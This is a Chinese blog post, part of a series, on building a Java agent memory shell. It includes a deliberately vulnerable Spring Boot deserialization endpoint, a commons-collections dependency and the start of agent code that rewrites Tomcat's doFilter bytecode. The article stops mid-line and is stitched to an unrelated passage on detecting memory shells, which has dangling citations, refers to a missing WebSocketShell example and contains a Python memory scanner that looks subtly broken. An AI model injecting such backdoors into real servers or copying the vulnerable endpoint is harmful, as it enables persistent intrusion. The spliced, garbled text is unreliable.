构造agent类型的内存马(内存马系列篇十三)

本文介绍了如何利用JAVA Agent技术构建内存马,通过Springboot搭建漏洞环境,演示了利用反序列化漏洞注入内存马的过程。文章详细阐述了编写agent.jar、序列化数据的编写以及注入演示的步骤,涉及字节码修改和命令执行逻辑,是内存马系列的第十三篇。

写在前面

前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。

这是内存马系列篇的第十三篇了。

环境搭建

我这里就使用Springboot来搭建一个简单的漏洞环境,对于agent内存马的注入,我这里搭建的是一个具有明显的反序列化漏洞的web服务,通过反序列化漏洞来进行内存马的注入,

IDEA新建一个springboot项目

漏洞代码:

package com.roboterh.vuln.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {
    @ResponseBody
    @RequestMapping("/unser")
    public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        response.getWriter().println("successfully!!!");
    }

    @ResponseBody
    @RequestMapping("/demo")
    public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        response.getWriter().println("This is a Demo!!!");
    }
}

/unser路由中,获取了请求体的序列化数据,进行反序列化调用;

/demo路由中,返回了一个字符串;

我打算的是通过CC链进行写入。

添加依赖。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

正式注入

编写agent.jar

有了前面的知识,我们知道在一个运行中的web服务中,对于premain方法的调用方式不太适用,更实用的是通过agentmain方法的调用。

在通过内置的Attach API进行加载之后将会调用这个方法进行动态修改字节码,所以如果我们能够在该方法中实现我们的恶意逻辑,就能够达到我们的目的。

但是怎么才能注入内存马使得能够与用户请求进行交互式的命令执行捏?这里我们是通过类似于前面提到过的在Tomcat
Filter内存马类似的思想,通过利用org.apache.catalina.core.ApplicationFilterChain#doFilter方法。

只是对于前面所提到的Filter型内存马的实现主要是通过动态添加了一个过滤器,通过配置特定的路由和调用对应的doFilter方法进行利用。

这里我们注入agent内存马主要是通过使用前面基础部分讲过的通过javassist框架进行修改doFilter方法的字节码。

非常友好的是在doFilter方法中存在有ServletRequest / ServletResponse实例,可以直接和请求进行交互。

image-20221020210332062.png

好了,接下来看看实现,我们可以简化为以下关键的几步:

  1. 通过addTransformer方法的调用来添加一个实现了java.lang.instrument.ClassFileTransformer接口的一个类。
    image-20221020210557192.png

  2. 之后通过调用retransformClasses方法,来触发前面添加的转换器的transform方法来修改传入的类的对应方法的字节码。

image-20221020210646261.png

首先是一个存在有agentmain方法的AgentDemo类。

import java.lang.instrument.Instrumentation;

public class AgentDemo {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new TransformerDemo(), true);
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        for (Class aClass : allLoadedClasses) {
            if (aClass.getName().equals(ClassName)) {
                System.out
检测 agent 内存的技术方案与实现思路主要围绕内存分析、行为监控和通信检测三个方面展开。这些方法通过综合运用静态与动态技术手段,能够有效识别异常行为并定位潜在威胁。 ### 1. 内存分析 内存分析是检测内存的核心手段之一,通过对进程的内存空间进行扫描,可以发现隐藏在内存中的恶意代码。常见的技术包括: - **特征匹配**:基于已知内存的特征库(如特定字符串、代码片段或调用模式),对内存区域进行扫描以匹配可疑内容[^3]。 - **异常行为检测**:利用机器学习算法训练模型,识别与正常程序行为显著偏离的内存操作模式。例如,某些内存会频繁修改自身代码或注入其他进程,这种行为可以通过统计分析发现[^1]。 - **符号执行与模糊测试**:通过符号执行工具对应用程序的内存访问路径进行分析,结合模糊测试生成触发潜在漏洞的输入数据,从而暴露隐藏的内存[^2]。 ### 2. 行为监控 行为监控侧重于捕获运行时的异常活动,尤其是那些与内存相关的典型行为。具体实现方式包括: - **系统调用跟踪**:记录并分析进程的系统调用序列,重点关注涉及内存分配、映射或写入的操作(如 `mmap`、`mprotect` 和 `WriteProcessMemory`)。若发现非预期的调用组合,则可能表明存在内存活动[^3]。 - **线程与钩子检查**:内存通常需要创建新线程或挂钩现有线程来执行恶意代码。通过遍历进程的所有线程,并检查其起始地址是否指向合法模块,可发现异常线程[^1]。 - **DLL/共享库加载监控**:对于 Windows 系统,检查是否有非标准 DLL 被加载;对于 Linux 系统,则监控 `/proc/<pid>/maps` 文件以发现未授权的共享库映射[^2]。 ### 3. 通信检测 内存往往依赖隐蔽的通信渠道传输数据或接收指令,因此通信检测成为另一重要防线。相关策略如下: - **网络流量分析**:使用 IDS/IPS 或流量镜像工具捕获进出目标主机的数据包,重点筛查加密流量中是否存在异常协议或未知目的地 IP 地址。此外,还可以利用深度包检测(DPI)技术解析应用层内容,寻找与内存 C2 服务器交互的痕迹[^3]。 - **WebSocket 监控**:针对采用 WebSocket 协议的现代内存(如示例中的 `WebSocketShell` 类),可通过拦截握手请求并验证其 `Sec-WebSocket-Key` 字段合法性,或者直接阻断非常规路径的 WebSocket 连接。 - **DNS 请求过滤**:部分内存会通过 DNS 隧道外泄敏感信息。部署本地 DNS 缓存服务器并实施严格的域名白名单策略,有助于防范此类攻击[^1]。 ### 示例代码:内存扫描工具的基本框架 以下是一个简单的 Python 脚本,演示如何利用 `pymem` 库读取远程进程内存并搜索特定字节序列(适用于特征匹配场景): ```python import pymem import re def scan_memory(pid, pattern): pm = pymem.Pymem() pm.open_process_from_id(pid) # 获取所有内存区域 regions = pm.list_modules() matches = [] for base, size in regions: try: memory_dump = pm.read_bytes(base, size) for match in re.finditer(pattern, memory_dump): offset = match.start() address = base + offset hexdump = ' '.join(f"{b:02X}" for b in memory_dump[offset:offset+16]) matches.append((address, hexdump)) except Exception as e: continue return matches # 示例:查找包含 "malicious_code_signature" 的内存区域 if __name__ == "__main__": target_pid = 1234 # 替换为目标进程 PID signature = b"malicious_code_signature" results = scan_memory(target_pid, signature) print("Found potential matches:") for addr, dump in results: print(f"Address: 0x{addr:X} | Hexdump: {dump}") ``` 该脚本展示了如何将内存扫描功能集成到自动化检测流程中。实际应用时还需结合更复杂的特征库及误报消除机制。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值